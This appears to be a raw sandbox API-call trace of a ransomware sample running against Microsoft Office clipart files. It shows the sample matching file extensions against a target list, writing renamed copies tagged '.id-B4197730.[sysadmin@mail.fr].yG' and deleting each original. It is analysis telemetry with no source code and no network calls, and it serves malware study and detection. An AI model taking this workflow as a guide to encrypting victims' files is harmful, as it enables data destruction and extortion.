	[0153.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.711] lstrlenW (lpString=".1cd") returned 4
	[0153.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.711] lstrlenW (lpString=".jpg") returned 4
	[0153.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.711] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.711] lstrlenW (lpString="J0090390.WMF") returned 12
	[0153.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0153.712] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=17638) returned 1
	[0153.712] CloseHandle (hObject=0x540) returned 1
	[0153.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220
	[0153.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0153.713] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.713] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0153.714] GetLastError () returned 0x0
	[0153.714] ReadFile (in: hFile=0x540, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x44e6, lpOverlapped=0x0) returned 1
	[0153.718] WriteFile (in: hFile=0x52c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x44f0, lpOverlapped=0x0) returned 1
	[0153.720] ReadFile (in: hFile=0x540, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.720] WriteFile (in: hFile=0x52c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.720] SetEndOfFile (hFile=0x52c) returned 1
	[0153.720] CloseHandle (hObject=0x52c) returned 1
	[0153.720] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.720] SetEndOfFile (hFile=0x540) returned 1
	[0153.723] CloseHandle (hObject=0x540) returned 1
	[0153.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1
	[0153.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.725] lstrlenW (lpString=".doc") returned 4
	[0153.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.725] lstrlenW (lpString=".docx") returned 5
	[0153.725] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0153.725] lstrlenW (lpString=".pdf") returned 4
	[0153.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.725] lstrlenW (lpString=".xls") returned 4
	[0153.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.725] lstrlenW (lpString=".xlsx") returned 5
	[0153.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0153.725] lstrlenW (lpString=".ppt") returned 4
	[0153.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.725] lstrlenW (lpString=".zip") returned 4
	[0153.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.725] lstrlenW (lpString=".rar") returned 4
	[0153.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.725] lstrlenW (lpString=".bz2") returned 4
	[0153.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.725] lstrlenW (lpString=".7z") returned 3
	[0153.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.725] lstrlenW (lpString=".dbf") returned 4
	[0153.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.725] lstrlenW (lpString=".1cd") returned 4
	[0153.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.726] lstrlenW (lpString=".jpg") returned 4
	[0153.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.726] lstrlenW (lpString=".doc") returned 4
	[0153.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.726] lstrlenW (lpString=".docx") returned 5
	[0153.726] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0153.726] lstrlenW (lpString=".pdf") returned 4
	[0153.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.726] lstrlenW (lpString=".xls") returned 4
	[0153.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.726] lstrlenW (lpString=".xlsx") returned 5
	[0153.726] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0153.726] lstrlenW (lpString=".ppt") returned 4
	[0153.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.726] lstrlenW (lpString=".zip") returned 4
	[0153.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.726] lstrlenW (lpString=".rar") returned 4
	[0153.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.726] lstrlenW (lpString=".bz2") returned 4
	[0153.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.726] lstrlenW (lpString=".7z") returned 3
	[0153.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.727] lstrlenW (lpString=".dbf") returned 4
	[0153.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.727] lstrlenW (lpString=".1cd") returned 4
	[0153.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68
	[0153.727] lstrlenW (lpString=".jpg") returned 4
	[0153.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.727] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.727] lstrlenW (lpString="J0090777.WMF") returned 12
	[0153.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0153.728] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=3332) returned 1
	[0153.729] CloseHandle (hObject=0x540) returned 1
	[0153.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220
	[0153.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0153.729] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.729] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0153.730] GetLastError () returned 0x0
	[0153.730] ReadFile (in: hFile=0x540, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xd04, lpOverlapped=0x0) returned 1
	[0153.732] WriteFile (in: hFile=0x52c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xd10, lpOverlapped=0x0) returned 1
	[0153.733] ReadFile (in: hFile=0x540, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.733] WriteFile (in: hFile=0x52c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.734] SetEndOfFile (hFile=0x52c) returned 1
	[0153.734] CloseHandle (hObject=0x52c) returned 1
	[0153.734] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.734] SetEndOfFile (hFile=0x540) returned 1
	[0153.738] CloseHandle (hObject=0x540) returned 1
	[0153.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1
	[0153.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.739] lstrlenW (lpString=".doc") returned 4
	[0153.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.739] lstrlenW (lpString=".docx") returned 5
	[0153.739] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0153.739] lstrlenW (lpString=".pdf") returned 4
	[0153.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.739] lstrlenW (lpString=".xls") returned 4
	[0153.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.739] lstrlenW (lpString=".xlsx") returned 5
	[0153.739] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0153.739] lstrlenW (lpString=".ppt") returned 4
	[0153.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.739] lstrlenW (lpString=".zip") returned 4
	[0153.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.739] lstrlenW (lpString=".rar") returned 4
	[0153.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.740] lstrlenW (lpString=".bz2") returned 4
	[0153.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.740] lstrlenW (lpString=".7z") returned 3
	[0153.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.740] lstrlenW (lpString=".dbf") returned 4
	[0153.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.740] lstrlenW (lpString=".1cd") returned 4
	[0153.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.740] lstrlenW (lpString=".jpg") returned 4
	[0153.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.740] lstrlenW (lpString=".doc") returned 4
	[0153.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.740] lstrlenW (lpString=".docx") returned 5
	[0153.740] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0153.740] lstrlenW (lpString=".pdf") returned 4
	[0153.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.741] lstrlenW (lpString=".xls") returned 4
	[0153.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.741] lstrlenW (lpString=".xlsx") returned 5
	[0153.741] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0153.741] lstrlenW (lpString=".ppt") returned 4
	[0153.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.741] lstrlenW (lpString=".zip") returned 4
	[0153.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.741] lstrlenW (lpString=".rar") returned 4
	[0153.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.741] lstrlenW (lpString=".bz2") returned 4
	[0153.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.741] lstrlenW (lpString=".7z") returned 3
	[0153.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.741] lstrlenW (lpString=".dbf") returned 4
	[0153.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.741] lstrlenW (lpString=".1cd") returned 4
	[0153.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0153.741] lstrlenW (lpString=".jpg") returned 4
	[0153.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.742] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.742] lstrlenW (lpString="J0090779.WMF") returned 12
	[0153.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0153.743] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1456) returned 1
	[0153.743] CloseHandle (hObject=0x540) returned 1
	[0153.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220
	[0153.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0154.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0154.408] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.408] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0154.409] GetLastError () returned 0x0
	[0154.409] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x5b0, lpOverlapped=0x0) returned 1
	[0154.411] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0154.412] ReadFile (in: hFile=0x52c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0154.412] WriteFile (in: hFile=0x550, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0154.412] SetEndOfFile (hFile=0x550) returned 1
	[0154.412] CloseHandle (hObject=0x550) returned 1
	[0154.412] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0154.412] SetEndOfFile (hFile=0x52c) returned 1
	[0154.416] CloseHandle (hObject=0x52c) returned 1
	[0154.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0154.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1
	[0154.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.417] lstrlenW (lpString=".doc") returned 4
	[0154.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.417] lstrlenW (lpString=".docx") returned 5
	[0154.417] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0154.417] lstrlenW (lpString=".pdf") returned 4
	[0154.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.417] lstrlenW (lpString=".xls") returned 4
	[0154.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.417] lstrlenW (lpString=".xlsx") returned 5
	[0154.418] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0154.418] lstrlenW (lpString=".ppt") returned 4
	[0154.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.418] lstrlenW (lpString=".zip") returned 4
	[0154.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.418] lstrlenW (lpString=".rar") returned 4
	[0154.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.418] lstrlenW (lpString=".bz2") returned 4
	[0154.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.418] lstrlenW (lpString=".7z") returned 3
	[0154.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.418] lstrlenW (lpString=".dbf") returned 4
	[0154.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.418] lstrlenW (lpString=".1cd") returned 4
	[0154.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.418] lstrlenW (lpString=".jpg") returned 4
	[0154.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.418] lstrlenW (lpString=".doc") returned 4
	[0154.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0154.419] lstrlenW (lpString=".docx") returned 5
	[0154.419] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0154.419] lstrlenW (lpString=".pdf") returned 4
	[0154.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0154.419] lstrlenW (lpString=".xls") returned 4
	[0154.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0154.419] lstrlenW (lpString=".xlsx") returned 5
	[0154.419] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0154.419] lstrlenW (lpString=".ppt") returned 4
	[0154.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0154.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.419] lstrlenW (lpString=".zip") returned 4
	[0154.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0154.419] lstrlenW (lpString=".rar") returned 4
	[0154.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0154.419] lstrlenW (lpString=".bz2") returned 4
	[0154.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0154.419] lstrlenW (lpString=".7z") returned 3
	[0154.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0154.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68
	[0154.419] lstrlenW (lpString=".dbf") returned 4
	[0154.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
